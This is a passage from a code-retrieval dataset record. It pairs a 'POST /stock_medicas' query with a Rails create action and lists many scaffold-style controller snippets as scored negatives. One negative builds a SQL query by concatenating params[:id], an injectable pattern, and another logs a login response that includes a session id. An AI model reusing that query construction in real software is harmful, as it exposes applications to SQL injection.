"def new\n @stock = Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock }\n end\n end",
"def new\n @stock = Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock }\n end\n end",
"def magasin\r\n \tvil = params[:id]\r\n \tmagasin = Market.where(vil_id: vil, type_id: 5)\r\n \trender json: magasin\r\n end",
"def show\n @moresmallmobsquad = Moresmallmobsquad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @moresmallmobsquad }\n end\n end",
"def show\n @medication_report = MedicationReport.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @medication_report }\n end\n end",
"def show\n @sm = Sm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sm }\n end\n end",
"def show\n @remedio = Remedio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @remedio }\n end\n end",
"def index\n headers['Last-Modified'] = Time.now.httpdate\n session_id = nil\n\n if !params[:symbols].nil?\n syms = params[:symbols].split(\",\")\n @stocks = params[:latest] ? [] : Stock.where(symbol: syms)\n\n login_response = AmeritradeHelper.login(params)\n puts \"*** login response #{login_response}\"\n unless login_response.nil?\n session_id = login_response[:session_id]\n login_date = login_response[:login_date]\n end\n\n if !session_id.nil?\n syms.each do |sym|\n new_stocks = AmeritradeHelper.get_stock_symbol(sym, !params[:historic].nil?, params, session)\n @stocks = @stocks + new_stocks unless new_stocks.nil? || !new_stocks.length\n end\n else\n puts \"*** session id is nil\"\n end\n\n else\n @stocks = Stock.all\n end\n\n response = {\n :meta => {\n :session_id => session_id,\n :login_date => login_date\n },\n :data => {\n # :stocks => @stocks.sort_by &:date\n # :stocks => @stocks.order(:date)\n :stocks => @stocks\n }\n }\n\n respond_to do |format|\n format.html\n format.json { render json: response }\n end\n end",
"def show\r\n render json: @registro_medicion.to_json, status: :ok\r\n end",
"def index\n @medicals = Medical.all\n end",
"def show\n @stock_transfer = StockTransfer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock_transfer }\n end\n end",
"def index\n @musics = Music.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @musics }\n end\n end",
"def show\n @aggregate_metadatum = AggregateMetadatum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @aggregate_metadatum }\n end\n end",
"def show\n @mws_order = MwsOrder.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mws_order }\n end\n end",
"def getmill\n\tformid = Windmill.where(windformid: params[:id])\n\tif formid.present?\n render json: formid.as_json(only:[:no])\n\telse\n\t\trender json: {massage: 'Windform not found'}\n\tend\nend",
"def fetch_medals\n updated_medals = []\n medal_divs = @career.search(\"div.medalBlock\")\n medal_divs.each do |div| \n ranked = (div/\"span.top\").inner_html.gsub(\",\",\"\").to_i\n social = (div/\"span.bot\").inner_html.gsub(\",\",\"\").to_i\n name_id = MEDAL_IDS[div.at(\"div\")[:id]]\n updated_medals << { :medal_name_id => name_id, :playlist_type => 1, :gamertag_id => self.id, :quantity => ranked }\n updated_medals << { :medal_name_id => name_id, :playlist_type => 2, :gamertag_id => self.id, :quantity => social }\n end\n return updated_medals\n end",
"def index\n @title = \"Doctor List\"\n @medics = Medic.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @medics }\n end\n end",
"def show\n @moresmalltrial = Moresmalltrial.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @moresmalltrial }\n end\n end",
"def show\n @music = Music.find_by_sql(\"SELECT * FROM Musics M Where M.id = \" + params[:id]).first()\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @music }\n end\n end",
"def index\n @stock_results = StockResult.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @stock_results }\n end\n end",
"def show\n @relacion_articulo_medida = RelacionArticuloMedida.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @relacion_articulo_medida }\n end\n end",
"def index\n @medical_camps = MedicalCamp.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @medical_camps }\n end\n end",
"def show\n @musique = Musique.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @musique }\n end\n end",
"def index\n @musics = Music.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @musics }\n end\n end",
"def new\n # @stock_resource = StockResource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock_resource }\n end\n end",
"def index\n @mercado_meta = MercadoMetum.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mercado_meta }\n end\n end",
"def new\n @product_stock = ProductStock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @product_stock }\n end\n end",
"def show\n @mapeamento = Mapeamento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mapeamento }\n end\n end",
"def show\n @medio_pago = MedioPago.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @medio_pago }\n end\n end",
"def show\n @monthly_interest = MonthlyInterest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @monthly_interest }\n end\n end",
"def new\n @title = \"New Medic\"\n @medic = Medic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @medic }\n end\n end",
"def show\n @stock = Stock.find(params[:id])\n @quote = YahooFinance::get_standard_quotes(@stock.ticker)[@stock.ticker]\n @tweets = Twitter.search('$' + @stock.ticker).results\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock }\n end\n end",
"def index\n @medalhas = Medalha.all\n end",
"def get\n\t\t\t result = Status.find_by(windmillid: params[:windmillid]) \n \t\t\trender json: [result.as_json(only: [:status,:power,:gen,:frequency,:rotor,:wind,:pitch])]\n\tend",
"def show\n @m_keep_month = MKeepMonth.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @m_keep_month }\n end\n end",
"def index\n @price_medicines = PriceMedicine.all\n end",
"def index\n @stock_prices = StockPrice.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @stock_prices }\n end\n end",
"def show\n @quantile_setting = QuantileSetting.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @quantile_setting }\n end\n end",
"def show\n @mostsmalltrapeffectinventory = Mostsmalltrapeffectinventory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mostsmalltrapeffectinventory }\n end\n end",
"def index\n @relaciones_articulos_medida = RelacionArticuloMedida.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @relaciones_articulos_medida }\n end\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render json: @maudio}\n end\n end",
"def create\n @stock_medica = StockMedica.new(stock_medica_params)\n \n respond_to do |format|\n if @stock_medica.save\n format.html { redirect_to @stock_medica, notice: 'Fue Crado stock' }\n format.json { render :show, status: :created, location: @stock_medica }\n else\n format.html { render :new }\n format.json { render json: @stock_medica.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @stock = Stock.find(params[:id])\n default_data\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @stock }\n end\n end",
"def index\n @medicos = Medico.all\n end",
"def show\n @mgamedefinition = Mgamedefinition.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mgamedefinition }\n end\n end",
"def new\n @total_stock = TotalStock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @total_stock }\n end\n end",
"def index\n @quantities = Quantity.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @quantities }\n end\n end",
"def show\n @steam_consumption = SteamConsumption.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @steam_consumption }\n end\n end",
"def show\n @series = Series.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @series }\n end\n end",
"def show\n @daily_statistic = DailyStatistic.find(params[:id])\n\n render json: @daily_statistic\n end",
"def show\n @quantile_period = QuantilePeriod.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @quantile_period }\n end\n end",
"def show\n @medrecord = Medrecord.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @medrecord }\n end\n end",
"def show\n @mostsmallmission = Mostsmallmission.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mostsmallmission }\n end\n end"
] | [
"0.6845957",
"0.68016255",
"0.67128974",
"0.6669692",
"0.6669692",
"0.6669692",
"0.6669692",
"0.6651201",
"0.6634665",
"0.6553768",
"0.65205777",
"0.6444504",
"0.64346814",
"0.6422576",
"0.6419904",
"0.6416216",
"0.6408983",
"0.6395929",
"0.63851357",
"0.6383683",
"0.63604337",
"0.6313773",
"0.6313256",
"0.6307816",
"0.63059443",
"0.63049155",
"0.6300298",
"0.6289102",
"0.6252719",
"0.6225907",
"0.6214281",
"0.62055856",
"0.61880517",
"0.61623687",
"0.61577797",
"0.6151618",
"0.6149351",
"0.6141896",
"0.6120387",
"0.60987055",
"0.60913575",
"0.60815245",
"0.6072125",
"0.6067243",
"0.60671586",
"0.60671586",
"0.60671586",
"0.60671586",
"0.60671586",
"0.60671586",
"0.60453576",
"0.60288",
"0.60161805",
"0.6007434",
"0.59796846",
"0.59549314",
"0.59474176",
"0.59344023",
"0.5932697",
"0.59265924",
"0.5926574",
"0.59237486",
"0.5917774",
"0.5914133",
"0.5905774",
"0.59035885",
"0.5897021",
"0.5896113",
"0.5892796",
"0.5892391",
"0.58885866",
"0.58878255",
"0.5878069",
"0.58761996",
"0.5874499",
"0.58708465",
"0.58686155",
"0.5868121",
"0.58671147",
"0.58645844",
"0.58555484",
"0.58466554",
"0.5843643",
"0.5842993",
"0.5840874",
"0.5839753",
"0.5838833",
"0.58383167",
"0.5829521",
"0.5829499",
"0.58275014",
"0.582744",
"0.5825096",
"0.58230525",
"0.5822664",
"0.58212906",
"0.582073",
"0.581975",
"0.58181494",
"0.5815063",
"0.5813168"
] | 0.0 | -1 |
POST /stock_medicas POST /stock_medicas.json | def create
@stock_medica = StockMedica.new(stock_medica_params)
respond_to do |format|
if @stock_medica.save
format.html { redirect_to @stock_medica, notice: 'Fue Crado stock' }
format.json { render :show, status: :created, location: @stock_medica }
else
format.html { render :new }
format.json { render json: @stock_medica.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def stock_medica_params\n params.require(:stock_medica).permit(:cantidad, :medicamento_id)\n end",
"def medicine_stock_params\n params.require(:medicine_stock).permit(:nome, :validade, :quantidade, :doenca)\n end",
"def set_stock_medica\n @stock_medica = StockMedica.find(params[:id])\n end",
"def stock_params\n params.require(:stock).permit(:medId, :quantity, :price)\n end",
"def set_medicine_stock\n @medicine_stock = MedicineStock.find(params[:id])\n end",
"def create\n @sp500_stock = Sp500Stock.new(params[:sp500_stock])\n\n respond_to do |format|\n if @sp500_stock.save\n format.html { redirect_to @sp500_stock, notice: 'Sp500 stock was successfully created.' }\n format.json { render json: @sp500_stock, status: :created, location: @sp500_stock }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sp500_stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n respond_to do |format|\n if @stock.save\n format.html { redirect_to @stock, notice: 'Stock was successfully created.' }\n format.json { render :show, status: :created, location: @stock }\n else\n format.html { render :new }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @stock = Stock.new(stock_params)\n\n respond_to do |format|\n if @stock.save\n format.html { redirect_to @stock, notice: 'stock was successfully created.' }\n format.json { render :show, status: :created, location: @stock }\n else\n format.html { render :new }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @stock = Stock.new(params[:stock])\n\n respond_to do |format|\n if @stock.save\n format.html { redirect_to @stock, notice: 'Stock was successfully created.' }\n format.json { render json: @stock, status: :created, location: @stock }\n else\n format.html { render action: \"new\" }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @stock = Stock.new(params[:stock])\n\n respond_to do |format|\n if @stock.save\n format.html { redirect_to @stock, notice: 'Stock was successfully created.' }\n format.json { render json: @stock, status: :created, location: @stock }\n else\n format.html { render action: \"new\" }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @stock = Stock.new(params[:stock])\n\n respond_to do |format|\n if @stock.save\n format.html { redirect_to @stock, notice: 'Stock was successfully created.' }\n format.json { render json: @stock, status: :created, location: @stock }\n else\n format.html { render action: \"new\" }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @stock = Stock.new(params[:stock])\n\n respond_to do |format|\n if @stock.save\n format.html { redirect_to @stock, notice: 'Stock was successfully created.' }\n format.json { render json: @stock, status: :created, location: @stock }\n else\n format.html { render action: \"new\" }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @stock = Stock.new(stock_params)\n\n respond_to do |format|\n if @stock.save\n format.html { redirect_to @stock, notice: 'Stock was successfully created.' }\n format.json { render :show, status: :created, location: @stock }\n else\n format.html { render :new }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @stock = Stock.new(stock_params)\n\n respond_to do |format|\n if @stock.save\n format.html { redirect_to @stock, notice: 'Stock was successfully created.' }\n format.json { render :show, status: :created, location: @stock }\n else\n format.html { render :new }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @stock = Stock.new(stock_params)\n\n respond_to do |format|\n if @stock.save\n format.html { redirect_to @stock, notice: 'Stock was successfully created.' }\n format.json { render :show, status: :created, location: @stock }\n else\n format.html { render :new }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @stock = Stock.new(stock_params)\n\n respond_to do |format|\n if @stock.save\n format.html { redirect_to @stock, notice: 'Stock was successfully created.' }\n format.json { render :show, status: :created, location: @stock }\n else\n format.html { render :new }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @stock = Stock.new(stock_params)\n\n respond_to do |format|\n if @stock.save\n format.html { redirect_to @stock, notice: 'Stock was successfully created.' }\n format.json { render :show, status: :created, location: @stock }\n else\n format.html { render :new }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @stock = Stock.new(stock_params)\n\n respond_to do |format|\n if @stock.save\n format.html { redirect_to @stock, notice: 'Stock was successfully created.' }\n format.json { render :show, status: :created, location: @stock }\n else\n format.html { render :new }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @medicamento = Medicamento.new(params[:medicamento])\n\n respond_to do |format|\n if @medicamento.save\n format.html { redirect_to @medicamento, notice: 'Medicamento was successfully created.' }\n format.json { render json: @medicamento, status: :created, location: @medicamento }\n else\n format.html { render action: \"new\" }\n format.json { render json: @medicamento.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @model_stock = ModelStock.new(model_stock_params)\n\n respond_to do |format|\n if @model_stock.save\n format.html { redirect_to @model_stock, notice: t('common.message.created_success')}\n format.json { render :show, status: :created, location: @model_stock }\n else\n format.html { render :new }\n format.json { render json: @model_stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @stock = Stock.new(params[:stock])\n\n respond_to do |format|\n if @stock.save\n format.html { redirect_to stocks_url, notice: 'Stock was successfully created.' }\n format.json { render json: @stock, status: :created, location: @stock }\n else\n format.html { render action: \"new\" }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @stock = Stock.new(stock_params)\n\n respond_to do |format|\n if @stock.save\n format.html { redirect_to @stock, notice: 'Stock was successfully created.' }\n format.json { render action: 'show', status: :created, location: @stock }\n else\n format.html { render action: 'new' }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @mata_matum = MataMatum.new(mata_matum_params)\n\n respond_to do |format|\n if @mata_matum.save\n format.html { redirect_to @mata_matum, notice: 'Mata matum was successfully created.' }\n format.json { render :show, status: :created, location: @mata_matum }\n else\n format.html { render :new }\n format.json { render json: @mata_matum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def addstock_params\n params.require(:addstock).permit(:stock, :unit, :material_id)\n end",
"def create\n @stock = Stock.new(stock_params)\n respond_to do |format|\n if @stock.save\n record = Record.new\n record.price = @stock[:price]\n record.stock_id = @stock[:id]\n record.note = @stock[:notes]\n record.date = @stock[:retrieved]\n record.save\n format.html { redirect_to stocks_path, notice: 'Stock was successfully created.' }\n format.json { render :show, status: :created, location: stocks_path }\n else\n format.html { render :new }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stock_medica.update(stock_medica_params)\n format.html { redirect_to @stock_medica, notice: 'Stock medica was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock_medica }\n else\n format.html { render :edit }\n format.json { render json: @stock_medica.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @total_stock = TotalStock.new(params[:total_stock])\n\n respond_to do |format|\n if @total_stock.save\n format.html { redirect_to @total_stock, notice: 'Total stock was successfully created.' }\n format.json { render json: @total_stock, status: :created, location: @total_stock }\n else\n format.html { render action: \"new\" }\n format.json { render json: @total_stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @mystock = Mystock.new(mystock_params)\n\n @existmystock=Mystock.find_by(stock_id:params[:mystock][:stock_id],user_id:current_user)\n\n respond_to do |format|\n if !@existmystock.nil?\n format.html { redirect_to new_mystock_path, notice: '您已经关注该股票~' }\n elsif @mystock.save\n format.html { redirect_to mystocks_path, notice: 'mystock was successfully created.' }\n format.json { render :show, status: :created, location: @mystock }\n else\n format.html { render :new }\n format.json { render json: @mystock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create \n stock = Stock.find(params[\"stockId\"])\n personal_watchlist = PersonalWatchlist.find(params[\"personal_watchlist_id\"])\n\n personal_watchlist.stocks << stock\n render json: { personal_watchlist: personal_watchlist.stocks }\n\n end",
"def feed_stock_params\n params.require(:feed_stock).permit(:quantidade, :marca, :nome, :id_tipo_animal, :kg)\n end",
"def create\n @medalha = Medalha.new(medalha_params)\n\n respond_to do |format|\n if @medalha.save\n format.html { redirect_to @medalha, notice: 'Medalha was successfully created.' }\n format.json { render :show, status: :created, location: @medalha }\n else\n format.html { render :new }\n format.json { render json: @medalha.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @sp500_stock = Sp500Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sp500_stock }\n end\n end",
"def create\n @addstock = Addstock.new(addstock_params)\n\n respond_to do |format|\n if @addstock.save\n format.html { redirect_to @addstock, notice: 'Addstock was successfully created.' }\n format.json { render :show, status: :created, location: @addstock }\n else\n format.html { render :new }\n format.json { render json: @addstock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @stock_medica.destroy\n respond_to do |format|\n format.html { redirect_to stock_medicas_url, notice: 'Stock medica was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @asset_stock = AssetStock.new(asset_stock_params)\n\n respond_to do |format|\n if @asset_stock.save\n format.html { redirect_to @asset_stock, notice: 'Asset stock was successfully created.' }\n format.json { render :show, status: :created, location: @asset_stock }\n else\n format.html { render :new }\n format.json { render json: @asset_stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @medico = Medico.new(medico_params)\n\n respond_to do |format|\n if @medico.save\n format.html { redirect_to @medico, notice: \"Medico criado com SUCESSO.\" }\n format.json { render :show, status: :created, location: @medico }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @medico.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @medio = Medio.new(params[:medio])\n\n respond_to do |format|\n if @medio.save\n format.html { redirect_to @medio, :notice => 'Medio was successfully created.' }\n format.json { render :json => @medio, :status => :created, :location => @medio }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @medio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @repuesto_servicio = RepuestoServicio.new(repuesto_servicio_params)\n @repuesto_servicio.stock=params[:repuesto_servicio][:stock] = 0.0\n respond_to do |format|\n if @repuesto_servicio.save\n format.html { redirect_to @repuesto_servicio, notice: 'Repuesto o servicio fue creado con éxito.' }\n format.json { render :show, status: :created, location: @repuesto_servicio }\n else\n format.html { render :new }\n format.json { render json: @repuesto_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n stock_values = Ystock.get_stock(params[:stock_resource][:stock])\n @stock_resource = StockResource.new(:symbol => (stock_values[:symbol]), :price => (stock_values[:price]), :change => (stock_values[:change]), :volume => (stock_values[:volume]))\n\n respond_to do |format|\n if @stock_resource.save\n format.html { redirect_to @stock_resource, notice: 'Stock resource was successfully created.' }\n format.json { render json: @stock_resource, status: :created, location: @stock_resource }\n else\n format.html { render action: \"new\" }\n format.json { render json: @stock_resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @medhistory = Medhistory.new(params[:medhistory])\n\n respond_to do |format|\n if @medhistory.save\n format.html { redirect_to @medhistory, :notice => 'Medhistory was successfully created.' }\n format.json { render :json => @medhistory, :status => :created, :location => @medhistory }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @medhistory.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def stock_params\n params.require(:stock).permit(:altas, :bajas, :item_id)\n end",
"def create\n symbol = params[:symbol].upcase\n is_existing_stock = current_user.stocks.where(symbol: symbol, run_id: params[:run_id]).flatten.size > 0\n num_of_stocks = current_user.stocks.where( run_id: params[:run_id]).flatten.size\n respond_to do |format|\n if !is_existing_stock && num_of_stocks != 5 && @stocks_util.validate_stock(symbol)\n @stock = current_user.stocks.build({symbol:symbol, run_id: params[:run_id]})\n @stock.save!\n format.json { render json: \"stock_added\" }\n else\n error_msg = \"adding_stock_failed\"\n if num_of_stocks == 5\n error_msg = \"already_5_stocks\"\n elsif is_existing_stock\n error_msg = \"existing_stock\"\n end\n format.json { render json: error_msg }\n end\n end\n end",
"def create\n @maquinat = Maquinat.new(maquinat_params)\n\n respond_to do |format|\n if @maquinat.save\n format.html { redirect_to @maquinat, notice: 'Maquinat was successfully created.' }\n format.json { render :show, status: :created, location: @maquinat }\n else\n format.html { render :new }\n format.json { render json: @maquinat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @admin_action = Stock.new(stock_params)\n \n \n respond_to do |format|\n if @admin_action.save\n \n format.html { redirect_to root_path, notice: 'Stock was successfully created.' }\n format.json { render :show, status: :created, location: @admin_action }\n else\n format.html { redirect_to new_stock_path }\n format.json { render json: @admin_action.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product_stock = ProductStock.new(params[:product_stock])\n\n respond_to do |format|\n if @product_stock.save\n format.html { redirect_to @product_stock, notice: 'Estoque de Produto atualizado' }\n format.json { render json: @product_stock, status: :created, location: @product_stock }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product_stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @paperstock = Paperstock.new(paperstock_params)\n\n respond_to do |format|\n if @paperstock.save\n format.html { redirect_to @paperstock, notice: 'Paperstock was successfully created.' }\n format.json { render :show, status: :created, location: @paperstock }\n else\n format.html { render :new }\n format.json { render json: @paperstock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @chemical = Chemical.new(chemical_params)\n if @chemical.save!\n render json: @chemical\n else\n render json: {errors: @chemical.errors.full_messages}\n end\n end",
"def create\n @mdistantmetastasi = Mdistantmetastasi.new(mdistantmetastasi_params)\n\n respond_to do |format|\n if @mdistantmetastasi.save\n format.html { redirect_to @mdistantmetastasi, notice: 'Mdistantmetastasi was successfully created.' }\n format.json { render :show, status: :created, location: @mdistantmetastasi }\n else\n format.html { render :new }\n format.json { render json: @mdistantmetastasi.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @forecast_msize = ForecastMsize.new(params[:forecast_msize])\n\n respond_to do |format|\n if @forecast_msize.save\n format.html { redirect_to [:admin,@forecast_msize], notice: 'Forecast msize was successfully created.' }\n format.json { render json: [:admin,@forecast_msize], status: :created, location: @forecast_msize }\n else\n format.html { render action: \"new\" }\n format.json { render json: @forecast_msize.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @currentmedical = Currentmedical.new(currentmedical_params)\n\n respond_to do |format|\n if @currentmedical.save\n format.html { redirect_to @currentmedical, notice: 'Currentmedical was successfully created.' }\n format.json { render :show, status: :created, location: @currentmedical }\n else\n format.html { render :new }\n format.json { render json: @currentmedical.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t@medical = Medical.new(params[:medical])\n\t\t@medical_specializations = medical_specializations\n\n\t\trespond_to do |format|\n\t\t\tif @medical.save\n\t\t\t\tformat.html { redirect_to medicals_path, notice: CrudTranslations.model_was_created(@medical) }\n\t\t\t\tformat.json { render json: @medical, status: :created, location: @medical }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @medical.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def create\n @goods_stock = GoodsStock.new(params[:goods_stock])\n\n respond_to do |format|\n if @goods_stock.save\n format.html { redirect_to @goods_stock, notice: 'Goods stock was successfully created.' }\n format.json { render json: @goods_stock, status: :created, location: @goods_stock }\n format.js\n else\n format.html { render action: \"new\" }\n format.json { render json: @goods_stock.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def create\n @minisound = Minisound.new(minisound_params)\n\n respond_to do |format|\n if @minisound.save\n format.html { redirect_to @minisound, notice: 'Minisound was successfully created.' }\n format.json { render :show, status: :created, location: @minisound }\n else\n format.html { render :new }\n format.json { render json: @minisound.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @stock = Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock }\n end\n end",
"def new\n @stock = Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock }\n end\n end",
"def new\n @stock = Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock }\n end\n end",
"def new\n @stock = Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock }\n end\n end",
"def new\n @stock = Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock }\n end\n end",
"def new\n @stock = Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock }\n end\n end",
"def create\n @mat_turma = MatTurma.new(mat_turma_params)\n disciplinas = Disciplina.where(\"disciplinas.turma_id=\"+@mat_turma.turma_id.to_s)\n disciplinas.each do |disciplina|\n matriculadisc = @mat_turma.mat_discs.build\n matriculadisc.disciplina_id = disciplina.id\n end\n respond_to do |format|\n if @mat_turma.save\n format.html { redirect_to @mat_turma, notice: 'Mat turma was successfully created.' }\n format.json { render :show, status: :created, location: @mat_turma }\n else\n format.html { render :new }\n format.json { render json: @mat_turma.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @unidade_medida = UnidadeMedida.new(params[:unidade_medida])\n\n respond_to do |format|\n if @unidade_medida.save\n format.html { redirect_to @unidade_medida, notice: 'Unidade medida foi criado com sucesso.' }\n format.json { render json: @unidade_medida, status: :created, location: @unidade_medida }\n else\n format.html { render action: \"new\" }\n format.json { render json: @unidade_medida.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n megam_rest.post_promos(to_hash) #WONT BE USED AS OF NOW\n end",
"def create\n @marca = Marca.new(marca_params)\n if @marca.save\n render json: @marca\n else\n render json: @marca.errors, status: :unprocessable_entity \n end\n end",
"def new\n @movimiento_stock = MovimientoStock.new\n destroy_detalle_movimiento_stock_aux\n detalle_movimiento_stock_aux\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movimiento_stock }\n end\n end",
"def create\n @metum = Metum.new(params[:metum])\n\n respond_to do |format|\n if @metum.save\n format.html { redirect_to @metum, notice: 'Metum was successfully created.' }\n format.json { render json: @metum, status: :created, location: @metum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @metum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\r\n @medical_history = MedicalHistory.new(medical_history_params)\r\n\r\n respond_to do |format|\r\n if @medical_history.save\r\n format.html { redirect_to @medical_history, notice: 'Historial medico creado con exito.' }\r\n format.json { render :show, status: :created, location: @medical_history }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @medical_history.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @midia = Midia.new(midia_params)\n\n respond_to do |format|\n if @midia.save\n format.html { redirect_to @midia, notice: 'Um novo tipo de mídia foi criado com sucesso.' }\n format.json { render json: @midia, status: :created, location: @midia }\n else\n format.html { render action: \"new\" }\n format.json { render json: @midia.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @metum = Metum.new(metum_params)\n\n respond_to do |format|\n if @metum.save\n format.html { redirect_to @metum, notice: 'Metum was successfully created.' }\n format.json { render action: 'show', status: :created, location: @metum }\n else\n format.html { render action: 'new' }\n format.json { render json: @metum.errors, status: :unprocessable_entity }\n end\n end\n end",
